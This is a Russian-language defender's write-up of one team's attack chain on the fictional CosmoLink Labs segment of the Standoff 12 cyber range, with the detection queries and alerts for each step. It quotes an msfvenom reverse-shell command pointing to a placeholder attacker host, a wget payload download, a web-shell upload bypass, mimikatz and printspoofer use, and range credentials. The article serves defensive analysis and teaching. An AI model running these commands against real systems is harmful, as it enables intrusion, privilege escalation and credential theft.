Как действовали хакеры на ноябрьском Standoff 12. Разбираем цепочку атак на космолифт и не только

В ноябре 2023 года мир был свидетелем кибербитвы Standoff, которая длилась несколько дней. Пятнадцать команд этичных хакеров провели серию впечатляющих технических ходов. Атакам подверглись все представленные на киберполигоне отрасли.

На нем воссозданы технологические и бизнес-процессы реальных компаний, обеспечивающих жизнедеятельность целых стран: нефтеперерабатывающий завод, банки, МФЦ и многое другое. В минувшем сезоне кибербитвы Standoff в Государстве F появилась новая компания — CosmoLink Labs. По легенде, CosmoLink Labs была создана в качестве инновационного центра для разработки и проведения космических исследований. Появление нового сегмента привлекло внимание мировых киберпреступников, которые решили использовать эту уникальную локацию в своих целях. Внедрившись в инфраструктуру CosmoLink Labs, злоумышленники начали проводить последовательные атаки, используя kill chain. Kill chain (цепочка атак) — это методология, которая предполагает последовательное выполнение нескольких этапов атаки, начиная с разведки и заканчивая эксплуатацией. Каждый этап является ключевым звеном в цепи, и его успешное выполнение открывает путь к следующему этапу. Во время Standoff злоумышленники мастерски использовали эту методологию, чтобы проникнуть в системы CosmoLink Labs и получить доступ к ценной информации.

Компания CosmoLink Labs построила космолифт до орбитальной станции, владеет центром управления полетами и центром радиосвязи, запускает спутники.

Вместе с появлением новых функции компании пополнился и список возможных критических инцидентов:

• выполнение вредоносного кода на веб-сервере центра управления полетами (ЦУП),

• перехват сигналов спутника,

• похищение чертежей космолифта,

• утечка финансовых документов.

Все это подняло важные вопросы кибербезопасности космической отрасли и необходимости постоянного совершенствования защитных мер:

• Каким образом злоумышленники смогли проникнуть в системы CosmoLink Labs? 

• Какие инциденты смогла реализовать одна команда атакующих, попав в эту новую локацию?

• Как отреагировали средства защиты Positive Technologies: можно ли увидеть конкретные шаги атакующих?

• Какие уроки мы можем извлечь после кибербитвы, чтобы предотвратить подобные атаки в будущем?

В этой статье мы — Айнур Мухарлямов и Сергей Болдырев, специалисты группы обнаружения атак на конечных устройствах — разберем цепочку атак одной команды на космический сегмент с помощью продуктов Positive Technologies. Давайте вместе погрузимся в мир кибербезопасности и узнаем, какие вызовы и возможности нас ждут в будущем.

Шаг 1. Загрузка веб-шелла

Чтобы пробраться во внутреннюю инфраструктуру компании, сначала нужно получить первоначальный доступ в качестве точки опоры в незнакомой среде. Атакующие решили начать свой вектор атаки с получения возможности удаленного выполнения команд на узле video.cosmolink.stf (веб-сайт), который расположен на периметре сети.

Действия атакующих

«Красные» воспользовались формой загрузки изображения на сайте. Для обхода фильтров поставили заголовок изображения в загружаемый файл и залили PHP-скрипт (с помощью инструмента Burp Suite).

Отправляя запросы на ранее загруженный PHP-скрипт, атакующие смогли выполнять команды в целевой системе. Например, отправив Linux-команду id, получили информацию о текущем пользователе (от имени которого запущен процесс веб-сервера).

Что видят защитники

Веб-сервер на периметре video.cosmolink.stf (10.126.13.39) был подключен к PT Application Firewall. Для просмотра срабатываний устанавливаем следующие параметры запроса:

Временной диапазон: 21 ноября 14:30–15:00

Запрос: app_name== "video.cosmolink.stf" and client_ip == 10.126.3.24

где:

• app_name — название веб-приложения, которое находится под защитой PT Application Firewall,

• client_ip — IP-адрес узла, с которого атакующие отправляли запрос на веб-сайт.

При загрузке атакующими PHP-скрипта на веб-сервер от PT Application Firewall было получено срабатывание «Загрузка файла с запрещенным расширением».

Срабатыванием «Результат выполнения команды id в ответе» PT Application Firewall отреагировал на получение «злоумышленниками» данных о текущем пользователе после выполнения команды id.

Результат атаки

Атакующие получили возможность удаленного выполнения команд на узле video.cosmolink.stf (10.126.13.39), расположенном на периметре.

Шаг 2. Создание прокси-соединения

Действия атакующих

Используя ранее полученный доступ, хакеры загрузили агент на сервер video.cosmolink.stf (10.126.13.39) в папку /tmp/ag, после чего пробросили прокси во внутренний сегмент через socks5.

Что видят защитники

Помимо PT Application Firewall, узел video.cosmolink.stf (10.126.13.39) также был подключен к системе MaxPatrol SIEM. Для просмотра всех корреляций с интересующего узла выполняем следующий PDQL-запрос в MaxPatrol SIEM:

Временной диапазон: 21 ноября 14:51–14:52. PDQL-запрос:

event_src.host in ["10.126.13.39", "video.cosmolink.stf"]
and correlation_name != null
and subject.account.name = "www-data"

где:

• event_src.host — узел — источник журналов, который подключен к MaxPatrol SIEM (для примера перечислили IP-адрес и FQDN-имя узла через оператор in для случаев, когда неизвестно точно, как настроена отправка журналов с узла),

• correlation_name — имя сработавшего правила корреляции (в примере указали != null, чтобы в результате были только сработки корреляции, без нормализованных событий),

• subject.account.name — имя пользователя, от имени которого было выполнено действие (в данном случае мы точно знали, что атакующие выполняли команды от имени пользователя веб-сервера www-data).

При загрузке атакующими агента в папку /tmp/ag сработало правило корреляции Unix_Connect_from_Suspicious_Dir «Вызов сетевого API процессом, запущенным из подозрительного каталога».

Судя по карточке события, агент был скачан по ссылке http://<адрес_сервера_атакующих>/b4b/spc1.lin с помощью консольной программы для загрузки файлов wget.

Далее агент был перемещен в папку /dev/shm/ag с помощью утилиты mv.

Следующим шагом был фоновый запуск демона с помощью утилиты start-stop-daemon.

Результат атаки

Атакующие получили стабильный сетевой доступ во внутренний сегмент сети.

Шаг 3. Разведка в новой сети

Действия атакующих

Сбор информации об узлах: атакующие выполнили сканирование сетей 10.126.13.1/24, 10.156.26.1/24 и 10.156.27.1/24. 

Что видят защитники

Сканирования и атаки, связанные с сетевым взаимодействием между узлами, хорошо видны в PT Network Attack Discovery (PT NAD). Простой запрос alert.attacker.ip == 10.126.13.39 позволяет нам увидеть все срабатывания правил PT NAD на активность с узла video.cosmolink.stf (10.126.13.39). Например, ниже представлена срабатывание TOOLS [PTsecurity] Nmap linux installation, сообщающая об установке утилиты nmap (предназначена для сканирования сетей и определения состояния объектов сканируемой сети).

Кроме того, сработали правила для выявления сканирования сети, например [ANOMALY] [PTsecurity] TCP SYN scan.

Результат атаки

«Красные» нашли новые узлы для дальнейших атак:

• exchange.cosmolink.stf (10.156.26.71), mail.cosmolink.stf (10.126.13.3)

• corp-wiki.cosmolink.stf (10.156.26.103)

• dashboard.cosmolink.stf (10.156.27.100)

После получения доступа к внутренней сети и определения первичных целей происходит разветвление цепочки атак:

1. Первая ветка направлена на похищение чертежей космолифта через узел corp-wiki.cosmolink.stf.

2. Вторая ветка приведет к утечке финансовых документов через компьютер финансового директора компании (bmiranda.cosmolink.stf).

3. Третья ветка — захват контроля над системой центра управления полетами через веб-сервер dashboard.cosmolink.stf и перехват сигналов спутника (получение актуального расшифрованного пакета телеметрии).

Ветка 1, шаг 1. Получение доступа к corp-wiki.cosmolink.stf

В данной ветке «красные» попытаются найти чертежи космолифта, поэтому следующей целью они выбрали сервер корпоративной вики.

Действия атакующих

Методом перебора получили учетные данные (пользователь emiwil с паролем 1234) для авторизации на веб-портале http://corp-wiki.cosmolink.stf/.

Затем нашли страницу http://corp-wiki.cosmolink.stf/?id=29, созданную пользователем roblee, на которой записан пароль =89*talk*POLE*rest*MALTA*71=.

После этого атакующие зашли на phpmyadmin по адресу http://corp-wiki.cosmolink.stf:8082/ с использованием учетной записи roblee и добавили инвайт-код для регистрации в базу данных вики, в таблицу codes.

Следующим шагом было создание нового пользователя на портале с добавленным инвайт-кодом. Через функцию загрузки аватара профиля хакеры прочитали содержимое файла /var/www/html/index.php, в котором нашли учетные данные администратора — admin:V9nM1dorS5siQ{v}EFQedS.

Что видят защитники

Зная данные атакующего и атакуемого узла, мы можем легко найти события подбора учетных данных в PT NAD. Например, для пользователя emiwil можно составить следующий запрос:

Временной диапазон: 21 ноября 18:17–19:53 Запрос:

src.ip == 10.126.13.39
&& dst.ip == 10.156.26.103
&& dst.port == 80
&& credentials.login == "emiwil"

где:

• src.ip — IP-адрес атакующего узла; в данном примере атака выполнялась с узла 10.126.13.39 (video.cosmolink.stf),

• dst.ip — IP-адрес атакуемого узла, то есть 10.156.26.103 (corp-wiki.cosmolink.stf),

• dst.port — порт назначения,

• credentials.login — имя пользователя; нас интересовала только учетная запись emiwil.

Как видно на скриншоте ниже, в блоке Учетные записи, атакующие пытались вводить множество разных паролей для учетной записи пользователя emiwil.

Если добавить в запрос известный нам пароль (&& credentials.password == "1234"), то сможем найти событие с успешной авторизацией, код 302 Found.

Добавив в запрос критерий && http.rqs.url == "/?id=29", можем получить событие доступа к странице http://corp-wiki.cosmolink.stf/?id=29.

Чтобы найти событие входа в phpmyadmin по адресу http://corp-wiki.cosmolink.stf:8082/ с использованием учетной записи roblee, надо поменять имя пользователя в запросе — && credentials.login == "roblee".

События из этапа регистрации нового пользователя можно увидеть в MaxPatrol SIEM.

Иногда бывают ситуации, когда в системе не настроена нормализация событий с нужного источника. Для MaxPatrol SIEM это не проблема! При расследованиях нужную информацию можно получить с помощью PDQL-запросов к сырым событиям. 

Сырое событие — это исходное сообщение в виде однородного текста, полученное от источника событий. Сырое (необработанное) сообщение требует дальнейшей обработки системой (нормализации) для преобразования сплошного текста в понятный для системы массив данных. Полученные данные система сможет использовать для корреляции и автоматизированного выявления атак.

Например, по такому PDQL-запросу можно найти сырое событие с данными пользователя, которого создали по инвайт-коду 7997:

Временной диапазон: 21 ноября 19:30–20:30 Запрос:

recv_ipv4 = "10.156.26.103"
and body contains "INSERT"  
and body contains "inviteCode"
and body contains "7997"

где:

• recv_ipv4 — IP-адрес узла, с которого поступают события; в данном примере указали адрес corp-wiki.cosmolink.stf,

• body — переменная в MaxPatrol SIEM, в котором указывается тело сырого события; использовали оператор contains для проверки вхождения искомого текста в значение поля; добавили поиск "INSERT", так как при создании пользователя на портале в базу данных добавляется новая строка с данными нового пользователя.

При чтении атакующими файла /var/www/html/index.php через загрузку аватара профиля на портале сработало правило «Подделка запроса со стороны сервера (SSRF)» в PT Application Firewall.

Результат атаки

Получены права администратора на портале http://corp-wiki.cosmolink.stf/.

Ветка 1, шаг 2. Похищение чертежей космолифта

Действия атакующих

Используя ранее скомпрометированную учетную запись администратора, атакующие загрузили чертежи космолифта.

Что видят защитники

Мы знаем ID страницы с чертежами, поэтому по запросу (src.ip == 10.126.13.39 && dst.ip == 10.156.26.103 && http.rqs.url == "/?id=18") можем увидеть подтверждающую сессию в PT NAD.

События доступа к страницам веб-портала мы можем также найти среди журналов nginx, который был подключен к MaxPatrol SIEM (запрос: recv_ipv4 = "10.156.26.103" and object.fullpath = "/?id=18").

Результат атаки

Реализовано событие «Похищение чертежей космолифта».

Ветка 2, шаг 1. Подбор учетных данных в Exchange

Для реализации следующего события, «Утечка финансовых документов», атакующие сместили фокус внимания на узел с Exchange. В этой ветке «красные» получили доступ к файлу resfin.docx на компьютере финансового директора компании (bmiranda.cosmolink.stf).

Действия атакующих

Методом перебора нашли пароль sunshine от учетной записи E_Puckett.

Что видят защитники

Атакуемый узел exchange.cosmolink.stf был подключен к MaxPatrol SIEM, поэтому смотрим на сработки правил корреляции в MaxPatrol SIEM (запрос: event_src.host = "exchange.cosmolink.stf" and correlation_name != null). Видим, что сработало правило Windows_Password_Brute, которое выявляет атаки методом подбора.

Результат атаки

Получен доступ к учетной записи E_Puckett:sunshine.

Ветка 2, шаг 2. Проведение фишинговой атаки с вложением

Действия атакующих

Отправлен фишинговый файл reports.xls на адрес HR из адресной книги [email protected].

Что видят защитники

На данном этапе от MaxPatrol SIEM получено несколько срабатываний. Вводим запрос event_src.host = "vslater.cosmolink.stf" and correlation_name != null с группировкой по полю correlation_name и получаем алерты от нескольких правил, например Malicious_Office_Document, которое сообщает об обнаружении подозрительной активности приложения Microsoft Office.

Благодаря механизму склеивания цепочек процессов можем сразу увидеть родительские процессы.

Также сработали правила:

• Dangerous_Command_Usage — обнаружена попытка выполнить потенциально опасную команду.

• Execute_Malicious_Powershell_Cmdlet — обнаружен запуск потенциально вредоносного командлета PowerShell (alert.context = "Часть функции запуска интерактивного интерпретатора командной строки с помощью PowerShell | regex_match: net.sockets.tcpclient").

Получаем новые индикаторы компрометации по ссылке атакующих для загрузки полезной нагрузки: http://<ip_сервера_атакующих>:35080/update.ps1.

Результат атаки

С помощью reverse-shell получен доступ к узлу vslater.cosmolink.stf (10.156.26.200) от имени пользователя v_slater.

Ветка 2, шаг 3. Повышение привилегий на vslater.cosmolink.stf

Действия атакующих

Используя printspoofer, были получены права NT AUTHORITY\SYSTEM на vslater.cosmolink.stf (10.156.26.200).

Что видят защитники

По запросу event_src.host = "vslater.cosmolink.stf" and correlation_name != null можем посмотреть все срабатывания правил корреляции в MaxPatrol SIEM по событиям от узла vslater.cosmolink.stf (10.156.26.200).

Как видно на скриншоте, сработали следующие правила:

• Windows_Hacktool_Usage «Обнаружено возможное использование утилит для взлома систем Windows»: инструмент для повышения привилегий с помощью SeImpersonatePrivilege printspoofer.exe

• Token_Manipulation «Обнаружена операция повышения привилегий с помощью токенов»: alert.context = "v_slater → system"

Результат атаки

Повышение привилегий: получены системные права (NT AUTHORITY\SYSTEM) на узле vslater.cosmolink.stf (10.156.26.200).

Ветка 2, шаг 4. Получение дампа учетных данных

Действия атакующих

C помощью утилиты mimikatz были получены учетные данные n_curtis_admin.

Что видят защитники

В этот раз в MaxPatrol SIEM сработали следующие корреляции:

Правило Alternate_Data_Stream сообщает о том, что была выполнена команда, которая использует альтернативные потоки данных. Атакующие воспользовались этой техникой для сокрытия исполняемого файла ВПО. Если посмотреть цепочку процессов в последней сработке, то можно понять, какие процессы породили sysmon.exe:

object.process.chain = "sysmon.exe:sysmon.exe (file creator: zabbix_agentd.exe (file creator: powershell.exe ← checker.exe) ← printspoofer.exe (file creator: zabbix_agentd.exe (file creator: powershell.exe ← checker.exe) ← powershell.exe ← checker.exe) ← cmd.exe ← zabbix_agentd.exe (file creator: powershell.exe ← checker.exe) ← powershell.exe ← checker.exe) ← servicemanager.exe (file creator: zabbix_agentd.exe (file creator: powershell.exe ← checker.exe) ← printspoofer.exe (file creator: zabbix_agentd.exe (file creator: powershell.exe ← checker.exe) ← powershell.exe ← checker.exe) ← cmd.exe ← zabbix_agentd.exe (file creator: powershell.exe ← checker.exe) ← powershell.exe ← checker.exe) ← services.exe ← wininit.exe ← smss.exe ← smss.exe ← system"

Если посмотреть на другое срабатывание, LSASS_Memory_Dump «Сохранена информация процесса LSASS», то можем увидеть, что дамп был произведен процессом gpupdate.exe, который, в свою очередь, был ранее порожден процессом sysmon.exe:sysmon.exe из прошлого шага.

Результат атаки

Получены учетные данные пользователя n_curtis_admin:hrkCdDA2coHTjmSm.

Ветка 2, шаг 5. Утечка финансовых документов

Действия атакующих

Получен доступ к компьютеру финансового директора компании bmiranda.cosmolink.stf (10.156.26.203). «Красные» извлекли данные из файла C:\users\b_miranda\Documents\resfin.docx.

Что видят защитники

В MaxPatrol SIEM по запросу subject.account.name = "n_curtis_admin" and msgid in ["4662", "4663"] AND object.name = "resfin.docx" можно увидеть события доступа к файлу C:\users\b_miranda\documents\resfin.docx пользователем n_curtis_admin.

Для Standoff этот файл был важным, поэтому перед началом кибербитвы мы создали специфичное правило корреляции STANDOFF_Confidential_Information_Leakage и собрали профиль доступа к данному файлу. Если обращение какого-либо пользователя к файлу resfin.docx (события Windows EventID 4663) отличается от ранее собранного профиля, то правило сработает. В данном примере правило сработало.

Результат атаки

Реализовано событие «Утечка финансовых документов».

Ветка 3, шаг 1. Подбор учетных данных в dashboard

В этой ветке «красные» реализовали две атаки:

1. «Выполнение вредоносного кода на веб-сервере центра управления полетами» (загрузили свой шелл на веб-сервер dashboard.cosmolink.stf).

2. «Перехват сигналов спутника» (получили актуальный расшифрованный пакет телеметрии, захватили контроль над системами центра управления полетами).

Для продолжения атакующим пришлось вернуться к ранее обнаруженному узлу dashboard.cosmolink.stf и получить к нему доступ.

Действия атакующих

Методом перебора нашли валидную учетную запись для Apache Tomcat (tomcat:<empty>), авторизовались в системе.

Что видят защитники

Веб-приложение на узле dashboard.cosmolink.stf было подключено к PT Application Firewall, поэтому можем найти срабатывания по запросу app_name == "dashboard.cosmolink.stf" and rule_id == tomcat_common_credentials and client_ip == 10.156.27.167 and request_uri == "http://dashboard.cosmolink.stf/manager/html". 

Видим срабатывания правила «Вход в Tomcat Manager с запрещенными учетными данными». При вводе неправильной пары «логин — пароль» веб-сервер отвечает кодом 401 Unauthorized, а при правильной — 403 Forbidden.

Срабатывания получены также и от PT NAD. Например, по запросу src.ip == 10.156.27.167 && (dst.ip == 10.156.27.100 or dst.dns == "dashboard.cosmolink.stf") && dst.port == 8080 можем увидеть алерты о подборе учетных данных и успешной авторизации в Tomcat.

В карточке срабатывания LOGIN [PTsecurity] Tomcat BruteForce (30 attempts in 10 mins) можно увидеть введенные учетные данные.

У срабатывания LOGIN [PTsecurity] Tomcat Login Successful в разделе Сессия можем увидеть валидную пару «логин — пароль»: tomcat c с пустым паролем.

Результат атаки

Учетная запись tomcat:<empty>.

Ветка 3, шаг 2. Реализация инцидента «Выполнение вредоносного кода на веб-сервере ЦУП»

Действия атакующих

С помощью msfvenom сгенерировали шелл по команде msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip_сервера_атакующих> LPORT=7997 -f war -o revshell2.war.

В /manager/html загрузили ранее сгенерированный веб-шелл revshell2 для получения обратного подключения.

Шелл доступен по адресу http://dashboard.cosmolink.stf/revshell2/.

Удаленное выполнение команд на веб-сервере ЦУП:

Что видят защитники

По запросу app_name == "dashboard.cosmolink.stf" and rule_id == tomcat_upload_rce можем посмотреть на срабатывания PT Application Firewall.

Как видно, сработало правило «Удаленное выполнение кода (RCE) в Tomcat», позволяющее обнаружить попытки загрузить WAR-файл на сервер. 

В PT NAD сработало правило «ATTACK [PTsecurity] Tomcat WAR archive upload. Possible shell upload».

Сами выполненные команды (id, ifconfig, cat /etc/passwd, hostname) можно посмотреть в MaxPatrol SIEM.

Сработали правила корреляции Unix_Recon_Tools_and_Commands («Выполнены команды разведки на узле под управлением Unix»), Unix_Suspicious_Activity_by_Web_User («Локальная разведка ОС от имени сервисной учетной записи»), Unix_Run_Process_from_Suspicious_Directory («Запуск процесса из неожиданного каталога») и другие.

Результат атаки

Загрузка веб-шелла. Атакующие получили возможность удаленного выполнения команд на узле dashboard.cosmolink.stf.

Ветка 3, шаг 3. Реализация инцидента «Перехват сигналов спутника»

Действия атакующих

На сервере центра управления полетами «красные» обратились по адресу http://127.0.0.1:5000 и получили данные телеметрии.

Что видят защитники

Выполнение команд для отображения текущих TCP-соединений и обращения к 5000-му порту можно посмотреть в MaxPatrol SIEM по запросу:

event_src.host in ["10.156.27.100", "dashboard.cosmolink.stf"]
and subject.account.name = "tomcat8"
and subject.account.session_id = "4294967295"
and object.process.name in ["netstat", "curl"]
and object.process.cmdline != null
and status = "success"

Результат атаки

Захвачен контроль над системами центра управления полетами. Получен актуальный расшифрованный пакет телеметрии.

Заключение

Итоговая цепочка атак

Рекомендации

Чтобы предотвратить подобные атаки в будущем, достаточно применить несколько базовых рекомендации (в соответствии с важными шагами цепочки): 

1. Загрузка шелла на периметровый веб-сервер:

   • Регулярно обновляйте веб-сервер и его компоненты до последних версий с учетом патчей безопасности.

   • Применяйте принципы безопасной разработки, такие как проверка входных данных и использование безопасных конфигураций.

   • Используйте системы обнаружения вторжений (IDS, IPS) для обнаружения и блокирования попыток загрузки веб-шеллов.

2. Сканирование сети:

   • Реализуйте систему мониторинга сетевой активности, чтобы обнаруживать сложные, скрытые и подозрительные сканирования и аномальную активность.

3. Авторизация в системе путем перебора валидных учетных данных:

   • Реализуйте механизм блокировки учетных записей после нескольких неудачных попыток входа.

   • Применяйте политику безопасности паролей и требуйте от сотрудников использования сильных паролей.

   • Внедрите механизм двухфакторной аутентификации для защиты учетных записей от перебора.

   • Используйте систему мониторинга событий входа в систему для обнаружения подозрительных попыток входа.

4. Проведение фишинговой атаки с вложением:

   • Обучайте сотрудников распознавать подозрительные письма и ссылки, а также сообщать о них в IT-отдел.

   • Внедрите систему проверки электронной почты на наличие вредоносных вложений и ссылок.

   • Используйте антивирусное и анти-спам программное обеспечение для обнаружения и блокировки вредоносных писем.

5. Неконтролируемые права пользователей:

   • Используйте принцип наименьших привилегий, предоставляя доступ к системам только в соответствии с необходимостью.

   • Ограничьте доступ к системным командам и функциям, которые не требуются для работы пользователей.

   • Реализуйте мониторинг привилегированных аккаунтов и аудит действий администраторов для обнаружения подозрительной активности.

Применение этих мер поможет создать более надежную защиту от подобных атак и повысить безопасность информационной инфраструктуры компании.